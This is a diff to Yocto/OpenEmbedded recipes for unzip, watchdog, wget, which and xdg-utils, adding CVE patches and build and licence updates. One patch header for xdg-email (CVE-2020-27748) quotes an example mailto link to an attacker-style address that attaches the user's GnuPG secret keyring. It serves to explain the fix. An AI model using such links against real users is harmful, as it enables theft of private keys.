new file mode 100644
index 0000000000..363dafddc9
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch
@@ -0,0 +1,33 @@
+https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1010355
+
+CVE: CVE-2022-0530
+Upstream-Status: Inactive-Upstream [need a new release]
+
+diff --git a/fileio.c b/fileio.c
+index 6290824..77e4b5f 100644
+--- a/fileio.c
++++ b/fileio.c
+@@ -2361,6 +2361,9 @@ int do_string(__G__ length, option) /* return PK-type error code */
+ /* convert UTF-8 to local character set */
+ fn = utf8_to_local_string(G.unipath_filename,
+ G.unicode_escape_all);
++ if (fn == NULL)
++ return PK_ERR;
++
+ /* make sure filename is short enough */
+ if (strlen(fn) >= FILNAMSIZ) {
+ fn[FILNAMSIZ - 1] = '\0';
+diff --git a/process.c b/process.c
+index d2a846e..715bc0f 100644
+--- a/process.c
++++ b/process.c
+@@ -2605,6 +2605,8 @@ char *utf8_to_local_string(utf8_string, escape_all)
+ int escape_all;
+ {
+ zwchar *wide = utf8_to_wide_string(utf8_string);
++ if (wide == NULL)
++ return NULL;
+ char *loc = wide_to_local_string(wide, escape_all);
+ free(wide);
+ return loc;
+
diff --git a/meta/recipes-extended/unzip/unzip/avoid-strip.patch b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
index 8f30e42674..70bedc8381 100644
--- a/meta/recipes-extended/unzip/unzip/avoid-strip.patch
+++ b/meta/recipes-extended/unzip/unzip/avoid-strip.patch
@@ -1,4 +1,4 @@
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
unix/Makefile: remove hard coded strip commands
diff --git a/meta/recipes-extended/unzip/unzip/define-ldflags.patch b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
index 659c6e3315..dd01c01400 100644
--- a/meta/recipes-extended/unzip/unzip/define-ldflags.patch
+++ b/meta/recipes-extended/unzip/unzip/define-ldflags.patch
@@ -1,6 +1,6 @@
Pass LDFLAGS to the linker
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Mikhail Durnev <Mikhail_Durnev@mentor.com>
diff --git a/meta/recipes-extended/unzip/unzip/fix-security-format.patch b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
index 8e9b06c423..2889c652d4 100644
--- a/meta/recipes-extended/unzip/unzip/fix-security-format.patch
+++ b/meta/recipes-extended/unzip/unzip/fix-security-format.patch
@@ -5,7 +5,7 @@ Fix security formatting issues related to sprintf parameters expeted.
[YOCTO #9551]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9551]
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/unzip/unzip/symlink.patch b/meta/recipes-extended/unzip/unzip/symlink.patch
index a38f6f1612..26f1c8ba86 100644
--- a/meta/recipes-extended/unzip/unzip/symlink.patch
+++ b/meta/recipes-extended/unzip/unzip/symlink.patch
@@ -6,7 +6,7 @@ a symlink entry."
This patch is taken from Fedora (https://bugzilla.redhat.com/show_bug.cgi?id=972427)
-Upstream-Status: Pending (upstream is dead)
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- unzip60/process.c.sav 2013-06-09 12:08:57.070392264 +0200
diff --git a/meta/recipes-extended/unzip/unzip/unzip_optimization.patch b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
new file mode 100644
index 0000000000..4bab7b26af
--- /dev/null
+++ b/meta/recipes-extended/unzip/unzip/unzip_optimization.patch
@@ -0,0 +1,127 @@
+unzip: use optimization from bitbake
+
+Remove -O3 optimizations to use bitbake default optimization levels.
+
+Upstream-Status: Inappropriate [configuration]
+
+Signed-off-by: Mikko Rapeli <mikko.rapeli@bmw.de>
+
+diff -rup unix-orig/configure unix/configure
+--- a/unix-orig/configure 2021-04-16 10:25:03.120858292 +0000
++++ b/unix/configure 2021-04-16 10:46:43.292546138 +0000
+@@ -70,7 +70,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " DEC C ($CFLAGS_OPT)"
+ else
+ # HP-UX HP C?
+@@ -111,7 +111,7 @@ int main()
+ _EOF_
+ $CC $CFLAGS -c conftest.c > /dev/null 2>/dev/null
+ if test $? -eq 0; then
+- CFLAGS_OPT='-O3'
++ CFLAGS_OPT=''
+ echo " GNU C ($CFLAGS_OPT)"
+ # Special Mac OS X shared library "ld" option?
+ if test ` uname -s 2> /dev/null ` = 'Darwin'; then
+diff -rup unix-orig/Makefile unix/Makefile
+--- a/unix-orig/Makefile 2021-04-16 10:25:03.000863878 +0000
++++ b/unix/Makefile 2021-04-16 10:47:31.658299278 +0000
+@@ -47,7 +47,7 @@ LD = $(CC)# must match, else "unresolved
+ AS = as
+ LOC = $(D_USE_BZ2) $(LOCAL_UNZIP)
+ AF = $(LOC)
+-CFLAGS = -O
++CFLAGS =
+ CF_NOOPT = -I. -I$(IZ_BZIP2) -DUNIX $(LOC)
+ CF = $(CFLAGS) $(CF_NOOPT)
+ LFLAGS1 =
+@@ -594,12 +594,12 @@ generic_shlib: unix_make
+ @echo\
+ 'which is UnZip linked with the DLL). This target is an example only.'
+ @echo ""
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC -DDLL"
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC -DDLL"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)
+ $(RM) libunzip.so.0 libunzip.so
+ $(LN) -s libunzip.so.0.4 libunzip.so.0
+ $(LN) -s libunzip.so.0 libunzip.so
+- gcc -c -O unzipstb.c
++ gcc -c unzipstb.c
+ gcc -o unzip_shlib unzipstb.o -L. -lunzip
+
+ #----------------------------------------------------------------------------
+@@ -775,7 +775,7 @@ freebsd: unix_make
+ # with "echo" instead).
+ #
+ gcc: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O3" LF2=""
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="" LF2=""
+
+ # Heurikon HK68 (68010), UniPlus+ System V 5.0, Green Hills C-68000
+ hk68: unix_make
+@@ -792,7 +792,7 @@ isc: unix_make
+ isc_gcc: unix_make
+ $(MAKE) unzips AS=gcc CC=gcc LD=gcc CRCA_O=crc_gcc$O \
+ LF="-shlib $(LF)" SL="-shlib $(SL)" FL="-shlib $(FL)" LF2="" \
+- CFLAGS="-O3" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
++ CFLAGS="" LOC="-DSYSV -DASM_CRC -DNO_UID_GID -DNEED_PTEM -DNO_LCHOWN -DNO_LCHMOD $(LOC)" \
+ AF="-DNO_UNDERLINE -Djecxz=jcxz -DALIGNMENT='.align 16' $(AF)"
+ $(STRIP) $(UNZIPS)
+
+@@ -808,7 +808,7 @@ isi: unix_make
+ linux: unix_make
+ @echo 'NOTE: use linux_noasm target for non-Intel Linux compiles.'
+ $(MAKE) unzips CC=gcc LD=gcc AS=gcc\
+- CFLAGS="-O3 -Wall -DASM_CRC"\
++ CFLAGS="-Wall -DASM_CRC"\
+ AF="-Di386 $(AF)" CRCA_O=crc_gcc$O
+ # GRR: this echo is pointless; if user gets this far, no difference to install
+ # @echo 'Be sure to use the install_asm target rather than the install target'
+@@ -818,14 +818,14 @@ linux_asm: linux
+ # Linux (Posix, approximately SysV): virtually any version since before 0.96,
+ # for any platform. Change "-O" to "-O3" or whatever, as desired...
+ linux_noasm: unix_make
+- $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-O -Wall"
++ $(MAKE) unzips CC=gcc LD=gcc CFLAGS="-Wall"
+
+ # Linux with lcc compiler: __inline__ (stat.h) not recognized, and must edit
+ # /usr/include/gnu/types.h to get rid of "long long" if __LCC__ defined. -O3
+ # (or -O2 or -O) is ignored. [GRR 960828: test target only]
+ #
+ linux_lcc: unix_make
+- $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-O3 -Wall -D__inline__= "
++ $(MAKE) unzips CC=lcc LD=lcc CFLAGS="-Wall -D__inline__= "
+
+ # Linux host with go32 (djgpp) cross-compiler (go32crs.tgz) for 32-bit DOS.
+ linux_dos: unix_make
+@@ -844,7 +844,7 @@ linux_dos: unix_make
+ # library).
+ #
+ linux_shlib: unix_make
+- $(MAKE) objsdll CC=gcc CFLAGS="-O3 -Wall -fPIC"\
++ $(MAKE) objsdll CC=gcc CFLAGS="-Wall -fPIC"\
+ LOC="-DDLL -DASM_CRC $(LOC)"\
+ AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+@@ -858,7 +858,7 @@ linux_shlib: unix_make
+ # instead of the original UnZip version. (libz was libgz prior to 0.94)
+ linux_shlibz: unix_make
+ $(MAKE) objsdll CC=gcc AS=gcc AF="-fPIC -Di386 $(AF)" CRCA_O=crc_gcc$O\
+- CFLAGS="-O3 -Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
++ CFLAGS="-Wall -fPIC" LOC="-DDLL -DUSE_ZLIB -DASM_CRC $(LOC)"
+ gcc -shared -Wl,-soname,libunzip.so.0 -o libunzip.so.0.4 $(OBJSDLL)\
+ crc_gcc.pic.o
+ ln -sf libunzip.so.0.4 libunzip.so.0
+@@ -871,7 +871,7 @@ lynx: unix_make
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using standard compiler
+ macosx: unix_make
+- $(MAKE) unzips CFLAGS="-O3 -Wall -DBSD" LF2=""
++ $(MAKE) unzips CFLAGS="-Wall -DBSD" LF2=""
+ $(STRIP) $(UNZIPS)
+
+ # Macintosh MacOS X (Unix-compatible enviroment), using gcc
diff --git a/meta/recipes-extended/unzip/unzip_6.0.bb b/meta/recipes-extended/unzip/unzip_6.0.bb
index c1ea0a9a2c..27076d5d9b 100644
--- a/meta/recipes-extended/unzip/unzip_6.0.bb
+++ b/meta/recipes-extended/unzip/unzip_6.0.bb
@@ -1,10 +1,10 @@
SUMMARY = "Utilities for extracting and viewing files in .zip archives"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
PE = "1"
-PR = "r5"
SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/unzip60.tar.gz \
file://avoid-strip.patch \
@@ -25,12 +25,21 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/
file://CVE-2019-13232_p1.patch \
file://CVE-2019-13232_p2.patch \
file://CVE-2019-13232_p3.patch \
+ file://unzip_optimization.patch \
+ file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \
+ file://CVE-2021-4217.patch \
+ file://CVE-2022-0529.patch \
+ file://CVE-2022-0530.patch \
+ file://0001-configure-Add-correct-system-headers-and-prototypes-.patch \
+ file://0001-unix-configure-fix-detection-for-cross-compilation.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "62b490407489521db863b523a7f86375"
SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
+CVE_STATUS[CVE-2008-0888] = "fixed-version: Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source"
+
# exclude version 5.5.2 which triggers a false positive
UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz"
@@ -44,7 +53,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
export LD = "${CC}"
-LD_class-native = "${CC}"
+LD:class-native = "${CC}"
do_compile() {
oe_runmake -f unix/Makefile generic
@@ -61,7 +70,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "unzip"
+ALTERNATIVE:${PN} = "unzip"
ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb
index 8bf40f0f0e..f138952128 100644
--- a/meta/recipes-extended/watchdog/watchdog-config.bb
+++ b/meta/recipes-extended/watchdog/watchdog-config.bb
@@ -5,7 +5,7 @@ the system."
HOMEPAGE = "http://watchdog.sourceforge.net/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-LICENSE = "MIT-X"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
SRC_URI = " \
@@ -13,8 +13,15 @@ SRC_URI = " \
file://watchdog.conf \
"
+# The default value is 60 seconds when null.
+WATCHDOG_TIMEOUT ??= ""
+
do_install() {
install -Dm 0644 ${WORKDIR}/watchdog.default ${D}${sysconfdir}/default/watchdog
install -Dm 0644 ${WORKDIR}/watchdog.conf ${D}${sysconfdir}/watchdog.conf
+
+ if [ -n "${WATCHDOG_TIMEOUT}" ]; then
+ echo "watchdog-timeout = ${WATCHDOG_TIMEOUT}" >> ${D}/etc/watchdog.conf
+ fi
}
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
new file mode 100644
index 0000000000..8c419e1d11
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
@@ -0,0 +1,37 @@
+From ca1d379fa13c4055d42d2ff3a647b4397768efcd Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 23 Aug 2022 19:23:26 -0700
+Subject: [PATCH] shutdown: Do not guard sys/quota.h sys/swap.h and
+ sys/reboot.h with __GLIBC__
+
+These headers are provided by uclibc/musl/glibc and bionic so we can
+assume they are not needed to be glibc specific includes. This also
+ensures that we get proper declaration of reboot() API
+
+Upstream-Status: Submitted [https://sourceforge.net/p/watchdog/patches/12/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/shutdown.c | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/src/shutdown.c b/src/shutdown.c
+index 1d9a857..6aea0d0 100644
+--- a/src/shutdown.c
++++ b/src/shutdown.c
+@@ -29,13 +29,9 @@
+ #include "extern.h"
+ #include "ext2_mnt.h"
+
+-#if defined __GLIBC__
+ #include <sys/quota.h>
+ #include <sys/swap.h>
+ #include <sys/reboot.h>
+-#else /* __GLIBC__ */
+-#include <linux/quota.h>
+-#endif /* __GLIBC__ */
+
+ #include <unistd.h>
+
+--
+2.37.2
+
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
new file mode 100644
index 0000000000..5c5d2f4e44
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch
@@ -0,0 +1,30 @@
+From b5cb6166dbfa57d1d94b19d4a098991a817f68f5 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 15 Oct 2020 10:02:17 +0800
+Subject: [PATCH] wd_keepalive.service: use /run instead of /var/run
+
+/var/run is deprecated by systemd, use /run instead.
+
+Upstream-Status: Pending
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ debian/wd_keepalive.service | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/debian/wd_keepalive.service b/debian/wd_keepalive.service
+index 7f8b1dc..0f2a153 100644
+--- a/debian/wd_keepalive.service
++++ b/debian/wd_keepalive.service
+@@ -7,7 +7,7 @@ Type=forking
+ EnvironmentFile=/etc/default/watchdog
+ ExecStartPre=/bin/sh -c '[ -z "${watchdog_module}" ] || [ "${watchdog_module}" = "none" ] || /sbin/modprobe $watchdog_module'
+ ExecStart=/usr/sbin/wd_keepalive $watchdog_options
+-PIDFile=/var/run/wd_keepalive.pid
++PIDFile=/run/wd_keepalive.pid
+
+ [Install]
+ WantedBy=multi-user.target
+--
+2.17.1
+
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
index 0199487e2e..5325ccafda 100644
--- a/meta/recipes-extended/watchdog/watchdog_5.16.bb
+++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb
@@ -5,45 +5,47 @@ it will reboot the system."
HOMEPAGE = "http://watchdog.sourceforge.net/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
-LICENSE = "GPL-2.0+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd"
SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
file://0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch \
file://watchdog.init \
file://wd_keepalive.init \
+ file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \
+ file://0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch \
"
SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f"
SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d"
+# Can be dropped when the output next changes, avoids failures after
+# reproducibility issues
+
UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
inherit autotools update-rc.d systemd pkgconfig
-DEPENDS += "libtirpc"
-CFLAGS += "-I${STAGING_INCDIR}/tirpc"
-LDFLAGS += "-ltirpc"
-
EXTRA_OECONF += " --disable-nfs "
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
-INITSCRIPT_NAME_${PN} = "watchdog"
-INITSCRIPT_PARAMS_${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+INITSCRIPT_NAME:${PN} = "watchdog"
+INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
-INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive"
-INITSCRIPT_PARAMS_${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
+INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
-SYSTEMD_SERVICE_${PN} = "watchdog.service"
-SYSTEMD_SERVICE_${PN}-keepalive = "wd_keepalive.service"
+SYSTEMD_SERVICE:${PN} = "watchdog.service"
+SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
# When using systemd, consider making use of internal watchdog support of systemd.
# See RuntimeWatchdogSec in /etc/systemd/system.conf.
SYSTEMD_AUTO_ENABLE = "disable"
-do_install_append() {
+do_install:append() {
install -d ${D}${systemd_system_unitdir}
install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
@@ -57,15 +59,15 @@ do_install_append() {
PACKAGES =+ "${PN}-keepalive"
-FILES_${PN}-keepalive = " \
+FILES:${PN}-keepalive = " \
${sysconfdir}/init.d/wd_keepalive \
${systemd_system_unitdir}/wd_keepalive.service \
${sbindir}/wd_keepalive \
"
-RDEPENDS_${PN} += "${PN}-config"
-RRECOMMENDS_${PN} += "kernel-module-softdog"
+RDEPENDS:${PN} += "${PN}-config"
+RRECOMMENDS:${PN} += "kernel-module-softdog"
-RDEPENDS_${PN}-keepalive += "${PN}-config"
-RCONFLICTS_${PN}-keepalive += "${PN}"
-RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog"
+RDEPENDS:${PN}-keepalive += "${PN}-config"
+RCONFLICTS:${PN}-keepalive += "${PN}"
+RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
index 2338328216..51926e7296 100644
--- a/meta/recipes-extended/wget/wget.inc
+++ b/meta/recipes-extended/wget/wget.inc
@@ -6,22 +6,24 @@ The program supports recursive retrieval of web-authoring pages as well as \
FTP sites"
HOMEPAGE = "https://www.gnu.org/software/wget/"
SECTION = "console/network"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6f65012d1daf98cb09b386cfb68df26b"
inherit autotools gettext texinfo update-alternatives pkgconfig
+DEPENDS += "autoconf-archive-native"
+
EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
--disable-rpath"
EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
-ALTERNATIVE_${PN} = "wget"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+ALTERNATIVE:${PN} = "wget"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_PRIORITY = "100"
-RRECOMMENDS_${PN} += "ca-certificates"
+RRECOMMENDS:${PN} += "ca-certificates"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
index 050fc2c7e1..5438bafdcb 100644
--- a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
+++ b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
@@ -1,4 +1,4 @@
-From 7f1357529d23b356b45fbb0dd7388588162e4cb8 Mon Sep 17 00:00:00 2001
+From b86e57b68363d108fe77c6fd588a275d2696cabe Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 10 Jan 2018 14:43:20 +0800
Subject: [PATCH] src/Makefile.am: improve reproducibility
@@ -44,10 +44,10 @@ Signed-off-by: Joe Slater <jslater@windriver.com>
1 file changed, 4 insertions(+)
diff --git a/src/Makefile.am b/src/Makefile.am
-index 28c0be2..44084a3 100644
+index 18ec622..38d252d 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -87,9 +87,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
+@@ -108,9 +108,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
echo '#include "version.h"' >> $@
echo 'const char *version_string = "@VERSION@";' >> $@
echo 'const char *compilation_string = "'$(COMPILE)'";' \
@@ -61,6 +61,3 @@ index 28c0be2..44084a3 100644
| $(ESCAPEQUOTE) >> $@
css.c: $(srcdir)/css.l
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/wget/wget_1.20.3.bb b/meta/recipes-extended/wget/wget_1.20.3.bb
deleted file mode 100644
index 4fa273d093..0000000000
--- a/meta/recipes-extended/wget/wget_1.20.3.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
- file://0002-improve-reproducibility.patch \
- "
-
-SRC_URI[md5sum] = "db4e6dc7977cbddcd543b240079a4899"
-SRC_URI[sha256sum] = "31cccfc6630528db1c8e3a06f6decf2a370060b982841cfab2b8677400a5092e"
-
-require wget.inc
diff --git a/meta/recipes-extended/wget/wget_1.24.5.bb b/meta/recipes-extended/wget/wget_1.24.5.bb
new file mode 100644
index 0000000000..64e6ee80af
--- /dev/null
+++ b/meta/recipes-extended/wget/wget_1.24.5.bb
@@ -0,0 +1,7 @@
+SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
+ file://0002-improve-reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "fa2dc35bab5184ecbc46a9ef83def2aaaa3f4c9f3c97d4bd19dcb07d4da637de"
+
+require wget.inc
diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb
index fac0fd3944..77861370e5 100644
--- a/meta/recipes-extended/which/which_2.21.bb
+++ b/meta/recipes-extended/which/which_2.21.bb
@@ -4,16 +4,15 @@ executables that bash(1) would execute when the passed \
program names would have been entered on the shell prompt. \
It does this by using the exact same algorithm as bash."
SECTION = "libs"
-HOMEPAGE = "http://carlo17.home.xs4all.nl/which/"
+HOMEPAGE = "https://carlowood.github.io/which/"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2"
DEPENDS = "cwautomacros-native"
inherit autotools texinfo update-alternatives
-PR = "r3"
EXTRA_OECONF = "--disable-iberty"
@@ -24,12 +23,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a"
SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am
}
-ALTERNATIVE_${PN} = "which"
+ALTERNATIVE:${PN} = "which"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "which.1"
+ALTERNATIVE:${PN}-doc = "which.1"
ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 0000000000..948b9e22e9
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:sid@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ scripts/xdg-email.in | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
++++ b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+
+ run_thunderbird()
+ {
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+
+- if [ -n "$ATTACH" ] ; then
+- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+- fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
